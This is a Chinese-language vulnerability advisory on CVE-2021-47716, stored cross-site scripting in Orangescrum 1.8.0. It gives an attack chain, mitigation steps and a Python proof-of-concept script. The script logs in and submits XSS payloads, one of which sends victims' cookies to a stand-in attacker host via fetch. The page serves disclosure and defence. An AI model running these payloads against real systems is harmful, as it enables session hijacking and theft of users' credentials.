IPBUF安全漏洞报告
English
CVE-2021-47716 CVSS 5.4 中危

CVE-2021-47716 Orangescrum跨站脚本漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2021-47716
漏洞类型
XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Orangescrum

相关标签

XSS跨站脚本Orangescrum存储型XSSCVE-2021-47716项目管理软件会话劫持

漏洞概述

CVE-2021-47716是Orangescrum 1.8.0版本中存在的一组多个存储型跨站脚本(Stored XSS)漏洞。该漏洞允许经过身份验证的低权限攻击者通过多个输入参数注入恶意JavaScript脚本代码。当其他用户访问包含恶意脚本的页面时,攻击代码会在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。漏洞影响Orangescrum项目管理软件的核心功能模块,攻击者可利用'projid'、'CS_message'、'name'等参数构造恶意payload,在项目创建、消息发送、用户管理等业务流程中植入跨站脚本代码。由于该漏洞属于存储型XSS,恶意脚本会持久化保存在服务器端,所有访问受影响页面的用户都会受到攻击。

技术细节

Orangescrum 1.8.0在多个端点存在输入验证和输出编码不足的安全问题。攻击者通过以下参数进行XSS注入:1) projid参数:在创建或编辑项目时未对项目ID进行严格过滤;2) CS_message参数:在内部消息功能中未对消息内容进行HTML转义;3) name参数:在用户资料或项目名称输入中缺少输入验证。攻击者构造包含<script>alert(document.cookie)</script>或<img src=x onerror=...>等payload的参数值,当数据存储到数据库后,其他用户访问相关页面时服务器直接将未编码的数据返回浏览器,导致恶意脚本执行。攻击者可通过JavaScript获取用户cookie、session token,进而冒充合法用户执行操作。该漏洞利用需要低权限用户身份,但无需管理员权限即可实施攻击。

攻击链分析

STEP 1
步骤1
攻击者获取Orangescrum系统低权限账户(如普通用户账号)
STEP 2
步骤2
攻击者构造恶意XSS payload,如<script>alert(document.cookie)</script>
STEP 3
步骤3
通过projid、CS_message或name参数向系统提交包含恶意脚本的数据
STEP 4
步骤4
服务器未对用户输入进行充分过滤和编码,直接将恶意数据存入数据库
STEP 5
步骤5
其他用户访问包含恶意脚本的项目页面或消息功能时,浏览器执行XSS payload
STEP 6
步骤6
攻击者通过恶意脚本窃取受害者cookie、session信息,进而劫持账户

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2021-47716 PoC - Orangescrum XSS via projid parameter # Target: Orangescrum 1.8.0 TARGET_URL = "http://target.com" USERNAME = "[email protected]" PASSWORD = "password123" def login(session): """Authenticate to Orangescrum""" login_url = f"{TARGET_URL}/users/login" data = { "data[User][email]": USERNAME, "data[User][password]": PASSWORD } response = session.post(login_url, data=data, allow_redirects=True) return "user" in response.text or response.status_code == 200 def exploit_xss_via_projid(session): """Exploit XSS via projid parameter""" # XSS payload embedded in projid xss_payload = '<script>alert(document.cookie)</script>' exploit_url = f"{TARGET_URL}/projects/add_project" data = { "data[Project][name]": "Malicious Project", "data[Project][projid]": xss_payload, "data[Project][short_name]": "test" } response = session.post(exploit_url, data=data) return response.status_code == 200 def exploit_xss_via_cs_message(session): """Exploit XSS via CS_message parameter""" xss_payload = '<img src=x onerror=fetch("http://attacker.com/steal?c="+document.cookie)>' message_url = f"{TARGET_URL}/messages/send_message" data = { "CS_message": xss_payload, "receiver_id": "1" } response = session.post(message_url, data=data) return response.status_code == 200 def main(): session = requests.Session() if login(session): print("[+] Login successful") exploit_xss_via_projid(session) print("[+] XSS payload sent via projid") exploit_xss_via_cs_message(session) print("[+] XSS payload sent via CS_message") else: print("[-] Login failed") sys.exit(1) if __name__ == "__main__": main()

影响范围

Orangescrum 1.8.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1) 对所有输入参数实施严格的输入长度和格式限制;2) 在应用层添加输出编码逻辑,对所有用户可控输出进行HTML实体转义;3) 部署Web应用防火墙规则识别XSS特征;4) 限制低权限用户的功能使用范围;5) 增强会话管理,定期刷新session token;6) 监控异常请求和日志中的XSS攻击特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表